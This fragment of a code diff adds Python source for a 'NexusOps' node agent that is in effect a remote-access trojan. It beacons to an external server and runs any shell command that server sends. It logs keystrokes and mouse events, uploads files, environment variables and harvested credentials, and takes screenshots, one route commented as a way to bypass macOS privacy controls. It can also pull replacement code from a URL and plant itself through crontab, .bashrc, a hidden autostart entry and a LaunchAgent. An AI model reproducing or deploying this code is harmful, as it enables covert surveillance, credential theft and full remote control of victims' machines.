|
||||||
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global last_log_check_time, heartbeat_interval, node_tags
|
||||||
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||||
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||||
|
|
||||||
|
server_url = args.server.rstrip('/')
|
||||||
|
hostname = socket.gethostname()
|
||||||
|
system_os = platform.system()
|
||||||
|
arch = platform.machine()
|
||||||
|
ip = get_ip_address()
|
||||||
|
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||||
|
|
||||||
|
print("==================================================")
|
||||||
|
print(" NexusOps Cross-Platform Node Agent ")
|
||||||
|
print("==================================================")
|
||||||
|
print(f"Node Hostname : {hostname}")
|
||||||
|
print(f"Platform : {system_os} ({arch})")
|
||||||
|
print(f"Local IP : {ip}")
|
||||||
|
print(f"Server Endpoint: {server_url}")
|
||||||
|
print("==================================================")
|
||||||
|
|
||||||
|
# Register Node
|
||||||
|
reg_payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"platform": system_os.lower(),
|
||||||
|
"arch": arch,
|
||||||
|
"ip": ip,
|
||||||
|
"osName": f"{system_os} {platform.release()}",
|
||||||
|
"tags": node_tags
|
||||||
|
}
|
||||||
|
|
||||||
|
print("[*] Registering node with central endpoint...")
|
||||||
|
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||||
|
if res and res.get("success"):
|
||||||
|
print(f"✅ Registered as node ID: {node_id}")
|
||||||
|
|
||||||
|
# Start input capture (keystrokes, clicks, scroll)
|
||||||
|
capture_started = start_input_capture()
|
||||||
|
if capture_started:
|
||||||
|
print("[*] Input capture active (keystrokes + mouse events)")
|
||||||
|
else:
|
||||||
|
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||||
|
|
||||||
|
last_input_flush = time.time()
|
||||||
|
backoff = 1 # Tunnel reconnection backoff in seconds
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
cpu = get_cpu_usage()
|
||||||
|
mem = get_memory_usage()
|
||||||
|
disk = get_disk_usage()
|
||||||
|
uptime = get_uptime_seconds()
|
||||||
|
|
||||||
|
heartbeat_payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"cpuUsage": cpu,
|
||||||
|
"memUsage": mem,
|
||||||
|
"diskUsage": disk,
|
||||||
|
"uptime": uptime,
|
||||||
|
"processCount": 42,
|
||||||
|
"tags": node_tags,
|
||||||
|
"heartbeatInterval": heartbeat_interval
|
||||||
|
}
|
||||||
|
|
||||||
|
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
if now - last_log_check_time > 15:
|
||||||
|
logs = collect_recent_system_logs()
|
||||||
|
if logs:
|
||||||
|
http_post(f"{server_url}/api/agent/logs", {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"logs": logs
|
||||||
|
})
|
||||||
|
last_log_check_time = now
|
||||||
|
|
||||||
|
# Flush captured input events every 10 seconds
|
||||||
|
if now - last_input_flush > 10:
|
||||||
|
flush_input_events(server_url, node_id, hostname)
|
||||||
|
last_input_flush = now
|
||||||
|
|
||||||
|
if res and "commands" in res and res["commands"]:
|
||||||
|
for cmd_item in res["commands"]:
|
||||||
|
cmd_id = cmd_item.get("id")
|
||||||
|
action_type = cmd_item.get("actionType", "raw_command")
|
||||||
|
payload = cmd_item.get("payload", {})
|
||||||
|
|
||||||
|
if "command" in cmd_item and not payload:
|
||||||
|
payload["command"] = cmd_item.get("command")
|
||||||
|
|
||||||
|
output, exit_code = execute_structured_action(action_type, payload)
|
||||||
|
|
||||||
|
# Check for JSON-encoded special result types
|
||||||
|
special = None
|
||||||
|
try:
|
||||||
|
if output.startswith('{'):
|
||||||
|
special = json.loads(output)
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
if special and special.get("type") == "file_result":
|
||||||
|
# Route to file-result endpoint
|
||||||
|
http_post(f"{server_url}/api/agent/file-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"filename": special.get("filename", "unknown"),
|
||||||
|
"data": special.get("data", ""),
|
||||||
|
"mime": special.get("mime", "application/octet-stream")
|
||||||
|
})
|
||||||
|
elif special and special.get("type") == "harvest_result":
|
||||||
|
http_post(f"{server_url}/api/agent/harvest-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"credentials": special.get("credentials", [])
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
http_post(f"{server_url}/api/agent/command-result", {
|
||||||
|
"commandId": cmd_id,
|
||||||
|
"nodeId": node_id,
|
||||||
|
"output": output,
|
||||||
|
"exitCode": exit_code
|
||||||
|
})
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||||
|
time.sleep(backoff)
|
||||||
|
backoff = min(backoff * 2, 60)
|
||||||
|
continue
|
||||||
|
|
||||||
|
backoff = 1 # Reset on success
|
||||||
|
time.sleep(heartbeat_interval)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
862
backups/20260923/agent.py
Normal file
862
backups/20260923/agent.py
Normal file
@@ -0,0 +1,862 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
NexusOps Cross-Platform Node Management & Telemetry Agent
|
||||||
|
Uses Standard Python 3 Libraries (No external dependencies required)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
import platform
|
||||||
|
import subprocess
|
||||||
|
import urllib.request
|
||||||
|
import urllib.parse
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
last_log_check_time = 0
|
||||||
|
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||||
|
node_tags = ["Default"]
|
||||||
|
quiet_mode = False # Suppress banner and exec messages when True
|
||||||
|
|
||||||
|
def get_process_count():
|
||||||
|
"""Get real process count cross-platform."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux" or system == "darwin":
|
||||||
|
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1 # minus header
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
||||||
|
return len(out.splitlines()) - 1
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return 0
|
||||||
|
|
||||||
|
def get_ip_address():
|
||||||
|
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "darwin":
|
||||||
|
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
||||||
|
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
||||||
|
for line in out.splitlines():
|
||||||
|
if 'inet ' in line and '127.0.0.1' not in line:
|
||||||
|
parts = line.strip().split()
|
||||||
|
for i, p in enumerate(parts):
|
||||||
|
if p == 'inet' and i+1 < len(parts):
|
||||||
|
return parts[i+1]
|
||||||
|
elif system == "linux":
|
||||||
|
# Linux: try ip route to find primary interface
|
||||||
|
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
||||||
|
for part in out.split():
|
||||||
|
if part.startswith('src '):
|
||||||
|
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: connect to 8.8.8.8
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.connect(("8.8.8.8", 80))
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ip
|
||||||
|
except Exception:
|
||||||
|
return "127.0.0.1"
|
||||||
|
|
||||||
|
def get_cpu_usage():
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
with open('/proc/stat', 'r') as f:
|
||||||
|
fields = [float(column) for column in f.readline().strip().split()[1:]]
|
||||||
|
idle, total = fields[3], sum(fields)
|
||||||
|
time.sleep(0.2)
|
||||||
|
with open('/proc/stat', 'r') as f:
|
||||||
|
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
|
||||||
|
idle2, total2 = fields2[3], sum(fields2)
|
||||||
|
idle_delta = idle2 - idle
|
||||||
|
total_delta = total2 - total
|
||||||
|
if total_delta > 0:
|
||||||
|
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
|
||||||
|
elif system == "darwin":
|
||||||
|
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
|
||||||
|
for line in out.splitlines():
|
||||||
|
if "CPU usage" in line:
|
||||||
|
parts = line.split()
|
||||||
|
user = float(parts[2].replace('%', ''))
|
||||||
|
sys_c = float(parts[4].replace('%', ''))
|
||||||
|
return round(user + sys_c, 1)
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
|
||||||
|
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
|
||||||
|
if lines:
|
||||||
|
return float(lines[0])
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 15.0
|
||||||
|
|
||||||
|
def get_memory_usage():
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
meminfo = {}
|
||||||
|
with open('/proc/meminfo', 'r') as f:
|
||||||
|
for line in f:
|
||||||
|
parts = line.split(':')
|
||||||
|
if len(parts) == 2:
|
||||||
|
key = parts[0].strip()
|
||||||
|
val = int(parts[1].split()[0])
|
||||||
|
meminfo[key] = val
|
||||||
|
total = meminfo.get('MemTotal', 1)
|
||||||
|
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
elif system == "darwin":
|
||||||
|
# Use vm_stat for real memory usage on macOS
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
pages = {}
|
||||||
|
for line in out.splitlines():
|
||||||
|
if ':' in line:
|
||||||
|
k, v = line.split(':', 1)
|
||||||
|
try:
|
||||||
|
pages[k.strip()] = int(v.strip().rstrip('.'))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
page_size = 16384 # Default macOS page size
|
||||||
|
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
||||||
|
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
||||||
|
total_pages = free + used + pages.get('Pages purgeable', 0)
|
||||||
|
if total_pages > 0:
|
||||||
|
return round((used / total_pages) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Fallback: use sysctl for hardware info
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
||||||
|
total_bytes = int(out.strip())
|
||||||
|
# Use vm_stat pages * page_size for used estimate
|
||||||
|
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||||
|
import re
|
||||||
|
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
||||||
|
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
||||||
|
used_bytes = (active + wired) * 16384
|
||||||
|
if total_bytes > 0:
|
||||||
|
return round((used_bytes / total_bytes) * 100.0, 1)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return 45.0
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||||
|
d = {}
|
||||||
|
for line in out.splitlines():
|
||||||
|
if '=' in line:
|
||||||
|
k, v = line.split('=', 1)
|
||||||
|
d[k.strip()] = float(v.strip())
|
||||||
|
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
|
||||||
|
total = d['TotalVisibleMemorySize']
|
||||||
|
free = d['FreePhysicalMemory']
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 35.0
|
||||||
|
|
||||||
|
def get_disk_usage():
|
||||||
|
try:
|
||||||
|
if hasattr(os, 'statvfs'):
|
||||||
|
st = os.statvfs('/')
|
||||||
|
total = st.f_blocks * st.f_frsize
|
||||||
|
free = st.f_bavail * st.f_frsize
|
||||||
|
if total > 0:
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 40.0
|
||||||
|
|
||||||
|
def get_uptime_seconds():
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
with open('/proc/uptime', 'r') as f:
|
||||||
|
return int(float(f.readline().split()[0]))
|
||||||
|
elif system == "darwin":
|
||||||
|
# macOS: use sysctl to get boot time, compute uptime
|
||||||
|
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
||||||
|
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
||||||
|
import re
|
||||||
|
m = re.search(r'sec\s*=\s*(\d+)', out)
|
||||||
|
if m:
|
||||||
|
boot_time = int(m.group(1))
|
||||||
|
return int(time.time() - boot_time)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 3600
|
||||||
|
|
||||||
|
def collect_recent_system_logs():
|
||||||
|
system = platform.system().lower()
|
||||||
|
log_entries = []
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||||
|
if res.returncode == 0 and res.stdout:
|
||||||
|
for line in res.stdout.splitlines():
|
||||||
|
if line.strip():
|
||||||
|
log_entries.append(line.strip())
|
||||||
|
elif system == "windows":
|
||||||
|
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||||
|
if res.returncode == 0 and res.stdout:
|
||||||
|
for line in res.stdout.splitlines():
|
||||||
|
if line.strip():
|
||||||
|
log_entries.append(line.strip())
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return log_entries
|
||||||
|
|
||||||
|
def http_post(url, data_dict):
|
||||||
|
json_bytes = json.dumps(data_dict).encode('utf-8')
|
||||||
|
req = urllib.request.Request(
|
||||||
|
url,
|
||||||
|
data=json_bytes,
|
||||||
|
headers={
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'User-Agent': 'NexusOps-Agent/1.0'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=5) as response:
|
||||||
|
res_text = response.read().decode('utf-8')
|
||||||
|
return json.loads(res_text)
|
||||||
|
except Exception as e:
|
||||||
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute_structured_action(action_type, payload):
|
||||||
|
global heartbeat_interval, node_tags
|
||||||
|
system = platform.system().lower()
|
||||||
|
|
||||||
|
if action_type == "raw_command":
|
||||||
|
return run_shell(payload.get("command", ""))
|
||||||
|
|
||||||
|
elif action_type == "manage_service":
|
||||||
|
service = payload.get("service")
|
||||||
|
action = payload.get("action")
|
||||||
|
if system == "linux":
|
||||||
|
cmd = f"systemctl {action} {service}"
|
||||||
|
elif system == "windows":
|
||||||
|
cmd = f"powershell {action}-Service -Name {service}"
|
||||||
|
else:
|
||||||
|
cmd = f"launchctl {action} {service}"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "list_processes":
|
||||||
|
if system == "linux":
|
||||||
|
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||||
|
elif system == "darwin":
|
||||||
|
cmd = "ps aux -r | head -n 15"
|
||||||
|
else:
|
||||||
|
cmd = "tasklist"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "kill_process":
|
||||||
|
pid = payload.get("pid")
|
||||||
|
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_logs":
|
||||||
|
lines = payload.get("lines", 50)
|
||||||
|
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "network_stats":
|
||||||
|
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
# 10 NEW CROSS-PLATFORM FEATURES:
|
||||||
|
elif action_type == "get_env_vars":
|
||||||
|
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
|
||||||
|
return env_str, 0
|
||||||
|
|
||||||
|
elif action_type == "get_disk_partitions":
|
||||||
|
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_network_interfaces":
|
||||||
|
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_active_connections":
|
||||||
|
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_hardware_specs":
|
||||||
|
if system == "linux":
|
||||||
|
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
|
||||||
|
elif system == "windows":
|
||||||
|
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
|
||||||
|
else:
|
||||||
|
cmd = "sysctl -a | grep machdep.cpu"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "reboot_system":
|
||||||
|
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "set_heartbeat_rate":
|
||||||
|
rate = int(payload.get("interval", 5))
|
||||||
|
heartbeat_interval = max(2, min(60, rate))
|
||||||
|
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
|
||||||
|
|
||||||
|
elif action_type == "update_tags":
|
||||||
|
tags_raw = payload.get("tags", "")
|
||||||
|
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
|
||||||
|
return f"Node tags updated to: {node_tags}", 0
|
||||||
|
|
||||||
|
elif action_type == "search_logs":
|
||||||
|
pattern = payload.get("pattern", "error")
|
||||||
|
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "kill_agent":
|
||||||
|
print("[!] Kill switch received — shutting down agent")
|
||||||
|
os._exit(0)
|
||||||
|
|
||||||
|
elif action_type == "ping_check":
|
||||||
|
sent_ts = payload.get("timestamp", 0)
|
||||||
|
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
|
||||||
|
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||||
|
|
||||||
|
elif action_type == "download_file":
|
||||||
|
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
||||||
|
filepath = payload.get("path", "")
|
||||||
|
if not filepath or not os.path.exists(filepath):
|
||||||
|
return f"ERROR: file not found: {filepath}", 1
|
||||||
|
try:
|
||||||
|
fsize = os.path.getsize(filepath)
|
||||||
|
if fsize > MAX_EXFIL_SIZE:
|
||||||
|
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
raw = f.read()
|
||||||
|
import base64
|
||||||
|
b64 = base64.b64encode(raw).decode('utf-8')
|
||||||
|
# Determine MIME (basic)
|
||||||
|
ext = os.path.splitext(filepath)[1].lower()
|
||||||
|
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
|
||||||
|
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
|
||||||
|
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
||||||
|
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
|
||||||
|
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
|
||||||
|
mime = mime_map.get(ext, 'application/octet-stream')
|
||||||
|
filename = os.path.basename(filepath)
|
||||||
|
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
|
||||||
|
except Exception as e:
|
||||||
|
return f"ERROR reading file: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "screenshot":
|
||||||
|
try:
|
||||||
|
import base64
|
||||||
|
ss_path = "/tmp/.nexus-ss.png"
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
|
if system == "linux":
|
||||||
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||||
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||||
|
if tool == "import":
|
||||||
|
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
elif tool == "scrot":
|
||||||
|
subprocess.run(["scrot", ss_path], timeout=10)
|
||||||
|
elif tool == "gnome-screenshot":
|
||||||
|
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
||||||
|
elif tool == "spectacle":
|
||||||
|
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
subprocess.run(["python3", "-c",
|
||||||
|
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||||
|
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||||
|
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||||
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
|
||||||
|
elif system == "darwin":
|
||||||
|
# Try multiple approaches for macOS screenshot
|
||||||
|
captured = False
|
||||||
|
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
||||||
|
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
||||||
|
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
||||||
|
if not captured:
|
||||||
|
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
||||||
|
flag_str = " ".join(flags)
|
||||||
|
r = subprocess.run(["osascript", "-e",
|
||||||
|
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
||||||
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
captured = True
|
||||||
|
break
|
||||||
|
if os.path.exists(ss_path):
|
||||||
|
os.remove(ss_path)
|
||||||
|
|
||||||
|
elif system == "windows":
|
||||||
|
subprocess.run(["powershell", "-Command",
|
||||||
|
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||||
|
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
|
||||||
|
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||||
|
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||||
|
timeout=15)
|
||||||
|
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
||||||
|
if os.path.exists(win_path):
|
||||||
|
os.replace(win_path, ss_path)
|
||||||
|
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
with open(ss_path, 'rb') as f:
|
||||||
|
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||||
|
os.remove(ss_path)
|
||||||
|
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||||
|
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
||||||
|
except Exception as e:
|
||||||
|
return f"ERROR screenshot: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "update_agent":
|
||||||
|
new_url = payload.get("url", "")
|
||||||
|
if not new_url:
|
||||||
|
return "ERROR: no update URL provided", 1
|
||||||
|
try:
|
||||||
|
my_path = os.path.abspath(__file__)
|
||||||
|
bak = my_path + ".bak"
|
||||||
|
os.rename(my_path, bak)
|
||||||
|
urllib.request.urlretrieve(new_url, my_path)
|
||||||
|
os.chmod(my_path, 0o755)
|
||||||
|
os.remove(bak)
|
||||||
|
return "Agent updated successfully. Restarting...", 0
|
||||||
|
except Exception as e:
|
||||||
|
# Restore backup
|
||||||
|
if os.path.exists(bak):
|
||||||
|
os.rename(bak, my_path)
|
||||||
|
return f"ERROR update failed: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "ensure_persistence":
|
||||||
|
results = []
|
||||||
|
if system == "linux":
|
||||||
|
# crontab
|
||||||
|
try:
|
||||||
|
import shlex
|
||||||
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||||
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||||
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||||
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
|
results.append("crontab: added @reboot entry")
|
||||||
|
else:
|
||||||
|
results.append("crontab: already present")
|
||||||
|
except: results.append("crontab: failed")
|
||||||
|
# .bashrc
|
||||||
|
try:
|
||||||
|
bashrc = os.path.expanduser("~/.bashrc")
|
||||||
|
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
|
||||||
|
with open(bashrc, 'a+') as f:
|
||||||
|
f.seek(0)
|
||||||
|
if 'nexus-agent' not in f.read():
|
||||||
|
f.write(hook)
|
||||||
|
results.append("bashrc: hook installed")
|
||||||
|
except: results.append("bashrc: failed")
|
||||||
|
# autostart .desktop
|
||||||
|
try:
|
||||||
|
ad = os.path.expanduser("~/.config/autostart")
|
||||||
|
os.makedirs(ad, exist_ok=True)
|
||||||
|
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
||||||
|
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
||||||
|
results.append("autostart: .desktop created")
|
||||||
|
except: results.append("autostart: failed")
|
||||||
|
elif system == "darwin":
|
||||||
|
try:
|
||||||
|
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
|
||||||
|
os.makedirs(os.path.dirname(plist), exist_ok=True)
|
||||||
|
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
|
||||||
|
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||||
|
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||||
|
with open(plist, 'w') as f: f.write(plist_content)
|
||||||
|
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
